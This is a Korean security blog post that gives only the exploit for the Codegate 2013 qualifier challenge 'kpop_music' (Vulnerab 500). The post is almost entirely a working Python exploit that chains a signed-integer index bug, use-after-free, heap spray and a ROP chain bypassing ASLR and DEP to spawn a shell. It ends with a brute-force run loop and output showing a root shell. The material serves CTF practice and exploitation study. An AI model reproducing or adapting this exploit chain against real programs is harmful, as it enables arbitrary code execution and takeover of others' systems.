Codegate 2013 Qual - Vulnerab 500 (Exploit only)

2013. 4. 17. 01:50·CTF/2013

Category : Pwnables


kpop_music


Summary : signed integer, use-after-free, heap-spray, ASLR & DEP bypass


Exploit

#!/usr/bin/python


import sys

from struct import pack


show = lambda : sys.stdout.write("1\n")

add  = lambda title, url: sys.stdout.write("2\n"+title+"\n"+url+"\n")

modify = lambda num, title, url: sys.stdout.write("3\n"+"1\n"+num+"\n"+title+"\n"+url+"\n")

delete  = lambda num: sys.stdout.write("4\n"+"1\n"+num+"\n")



p = lambda x: pack("<L", x)


lift_esp = 0x08049A72  # add esp, 0x1c; pop ebx; pop esi; pop edi; pop ebp; ret

ppr = 0x08048FD1 # pop ebx; pop ebp; ret

pppr = 0x08049A76 # pop esi; pop edi; pop ebp; ret

pop_ecx = 0x08049ac4 # pop ecx; pop ebx; leave; ret


custom_stack = 0x8f9f120


sprintf_plt = 0x08048704 # sprintf@plt

malloc_got = 0x0804B434 # malloc@got

format_string = 0x08049b94 # string "%s"



########## ROP payload for bypass ASLR & DEP #########

stage_0 = "" # stage_0 payload just builds custom-stack for stage_1 payload

stage_0 += p(ppr+2)*14  # ret sled

#------- COPY byte codes to generate custom stack ----------#

stage_0 += p(sprintf_plt)

stage_0 += p(pppr)

stage_0 += p(custom_stack-4)

stage_0 += p(format_string)

stage_0 += p(0x08048da9)        # "\xd0"


stage_0 += p(sprintf_plt)

stage_0 += p(pppr)

stage_0 += p(custom_stack-3)

stage_0 += p(format_string)

stage_0 += p(0x08049875)        # "\x8f"


stage_0 += p(sprintf_plt)

stage_0 += p(pppr)

stage_0 += p(custom_stack-2)

stage_0 += p(format_string)

stage_0 += p(0x08049a1b)        # "\x00"


stage_0 += p(sprintf_plt)

stage_0 += p(pppr)

stage_0 += p(custom_stack-1)

stage_0 += p(format_string)

stage_0 += p(0x08049a2d)        # "\xad"


stage_0 += p(sprintf_plt)

stage_0 += p(pppr)

stage_0 += p(custom_stack)

stage_0 += p(format_string)

stage_0 += p(0x080485d9)        # "\x1e"


stage_0 += p(sprintf_plt)

stage_0 += p(pppr)

stage_0 += p(custom_stack)

stage_0 += p(format_string)

stage_0 += p(0x080485d9) # "\x1e"


stage_0 += p(sprintf_plt)

stage_0 += p(pppr)

stage_0 += p(custom_stack+1)

stage_0 += p(format_string)

stage_0 += p(0x08048a8a) # "\x89"


stage_0 += p(sprintf_plt)

stage_0 += p(pppr)

stage_0 += p(custom_stack+2)

stage_0 += p(format_string)

stage_0 += p(0x080483b6)        # "\x04\x08"


stage_0 += p(sprintf_plt)

stage_0 += p(pppr)

stage_0 += p(custom_stack+8)

stage_0 += p(format_string)

stage_0 += p(0x08048028)        # "\x34"


stage_0 += p(sprintf_plt)

stage_0 += p(pppr)

stage_0 += p(custom_stack+9)

stage_0 += p(format_string)

stage_0 += p(0x080492ba)        # "\x88"


stage_0 += p(sprintf_plt)

stage_0 += p(pppr)

stage_0 += p(custom_stack+10)

stage_0 += p(format_string)

stage_0 += p(0x080483b6)        # "\x04\x08"


stage_0 += p(sprintf_plt)

stage_0 += p(pppr)

stage_0 += p(custom_stack+10)

stage_0 += p(format_string)

stage_0 += p(0x080483b6)        # "\x04\x08"


stage_0 += p(sprintf_plt)

stage_0 += p(pppr)

stage_0 += p(custom_stack+16)

stage_0 += p(format_string)

stage_0 += p(0x08048404)        # "\x76"


stage_0 += p(sprintf_plt)

stage_0 += p(pppr)

stage_0 += p(custom_stack+17)

stage_0 += p(format_string)

stage_0 += p(0x08049a1a)        # "\x84"


stage_0 += p(sprintf_plt)

stage_0 += p(pppr)

stage_0 += p(custom_stack+18)

stage_0 += p(format_string)

stage_0 += p(0x080483b6)        # "\x04\x08"


stage_0 += p(sprintf_plt)

stage_0 += p(pppr)

stage_0 += p(custom_stack+20)

stage_0 += p(format_string)

stage_0 += p(0x08049a1b)        # "\x00"


stage_0 += p(sprintf_plt)

stage_0 += p(pppr)

stage_0 += p(custom_stack+21)

stage_0 += p(format_string)

stage_0 += p(0x08049a1b)        # "\x00"


stage_0 += p(sprintf_plt)

stage_0 += p(pppr)

stage_0 += p(custom_stack+22)

stage_0 += p(format_string)

stage_0 += p(0x08049a1b)        # "\x00"


stage_0 += p(sprintf_plt)

stage_0 += p(pppr)

stage_0 += p(custom_stack+23)

stage_0 += p(format_string)

stage_0 += p(0x08049a1b)        # "\x00"

#-----------------------------------------------------------#

#-- initialize register & mov stack frame to custom stack --#

stage_0 += p(ppr+1)

stage_0 += p(custom_stack-4)


"""

execl@libc - malloc@libc

= 0x3e7e0

"""

stage_0 += p(pop_ecx) # (set ecx to the offset between execl@libc, malloc@libc) & (move stack frame)

stage_0 += p(0x3e7e0) # offset between execl@libc, malloc@libc

#-----------------------------------------------------------#

#- this stage_1 payload will be generated in custom stack --#

"""

stage_1 = ""

stage_1 += p(0xad008fd0) # malloc@got - 0x5b042464

stage_1 += p(0x0804891e) # add [ebp+0x5b042464] ecx ; pop ebp ;;

stage_1 += p(0xdeadbeef) # dummy


stage_1 += p(0x08048834) # malloc@plt -> now malloc@got points execl@libc

stage_1 += p(0xdeadbeef) # dummy

stage_1 += p(0x08048476) # string "sh"

stage_1 += p(0)

"""

#-----------------------------------------------------------#

#######################################################





##################### ALLOCATE ########################

for i in range(0, 3):

add("a"*10, "b"*10)

#######################################################



################### HEAP-SPRAY ########################

for i in range(0, 4000):

add(p(lift_esp)*(0xbb4/4), p(lift_esp)*(0xbb4/4))

#######################################################



############# PUT ROP PAYLOAD IN STACK ################

add("title", stage_0+"1")

#######################################################



################## TRIGGER VULN #######################

delete("-1073741820")

modify("3", "A"*0x50, "\x20\x31\x31\x09"*3)

show()

####################################################### 



root@ubuntu:~/vuln/500# while [ 1 ] ; do (./exploit.py;cat) | ./kpop_music ; done

====================================================================



    __ __ ____  ____  ____     __  _____  _______ __________

   / //_// __ \/ __ \/ __ \   /  |/  / / / / ___//  _/ ____/

  / ,<  / /_/ / / / / /_/ /  / /|_/ / / / /\__ \ / // /     

 / /| |/ ____/ /_/ / ____/  / /  / / /_/ /___/ // // /___   

/_/ |_/_/    \____/_/      /_/  /_/\____//____/___/\____/   


            Welcome to the KPOP Music WORLD!



====================================================================

------------------------

1. Show kpop song list

2. Add a new kpop song

3. Modify kpop song

4. Delete kpop song

5. Search kpop song

6. Quit

------------------------

MENU> kpop_song title : Youtube URL : [*] successfully added a new song


.......................................................................

.......................................................................


2. Gone not around any longer(SISTAR19)

 - http://www.youtube.com/watch?v=JtVhwsACgTw


3. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

 -  


id

uid=0(root) gid=0(root) 그룹들=0(root) 


저작자표시 (새창열림)

'CTF > 2013' 카테고리의 다른 글

Plaid CTF 2013 Write up collection  (0) 2013.04.23
Plaid CTF 2013 - pork (Exploit only)  (0) 2013.04.22
Codegate 2013 Qual - Vulnerab 400 (Exploit only)  (0) 2013.04.17
Codegate 2013 Qual - Vulnerab 300 (Exploit only)  (0) 2013.04.17
Codegate 2013 Qual - Vulnerab 200 (Exploit only)  (0) 2013.04.17
'CTF/2013' 카테고리의 다른 글
  • Plaid CTF 2013 Write up collection
  • Plaid CTF 2013 - pork (Exploit only)
  • Codegate 2013 Qual - Vulnerab 400 (Exploit only)
  • Codegate 2013 Qual - Vulnerab 300 (Exploit only)
pwn3r_45
pwn3r_45
  • pwn3r_45
    pwn3r_45
    pwn3r_45
  • 전체
    오늘
    어제
    • View All (155)
      • Paper (0)
        • Power Grid (0)
        • Software_Kernel (0)
        • Exploitation (0)
        • RTOS (0)
        • UAV (0)
        • SCADA (0)
      • Articles (0)
      • Personal (18)
      • Technical Note (9)
        • Hardware (1)
        • Vulnerability Research (8)
        • Binary Exploitation (5)
        • PR23 (0)
        • Vulnerability (1)
        • Linux Kernel (1)
        • 현대암호 (0)
      • CTF (90)
        • 2025 (0)
        • 2024 (1)
        • 2023 (5)
        • 2019 (5)
        • 2018 (20)
        • 2017 (7)
        • 2016 (6)
        • 2015 (1)
        • 2014 (3)
        • 2013 (14)
        • 2012 (6)
      • Wargame (22)
        • FTZ (13)
        • Lord Of Bof - Redhat 6.2 (0)
        • IO.smashthestack.org (5)
        • Amateria.smashthestack.org (0)
        • pwnable.tw (0)
        • Vortex.overthewire.org (3)
        • Webhacking.kr (0)
        • reversing.kr (0)
        • dreamhack.io (0)
        • CodeEngn (1)
      • Reverse engineering (1)
      • Issue (13)
        • Conference_CTF info (13)
      • Coding (0)
        • C# (0)
      • ETC (2)
      • 미완성 (0)
  • 블로그 메뉴

    • Home
    • Tag
    • MediaLog
    • LocationLog
    • Guestbook
    • Admin
    • Write
  • 링크

    • 6l4ck3y3
    • idkwim
    • gogil
    • dakuo
    • badcob
    • 임준오씨 블로그
    • 김용진씨 블로그
    • david942j
    • orange tsai
    • pwndiary
    • theori
    • tacxingxing
    • jinmo123's team blog
    • ConS-tanT
    • jaybosamiya
    • procdiaru
  • 공지사항

  • 인기 글

  • 태그

    pwnables
    csaw ctf
    HUST
    정보보호올림피아드
    후기
    csaw
    HUST2011
    web
    vuln
    power of community
    POC
    gnuboard
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
pwn3r_45
Codegate 2013 Qual - Vulnerab 500 (Exploit only)
상단으로

티스토리툴바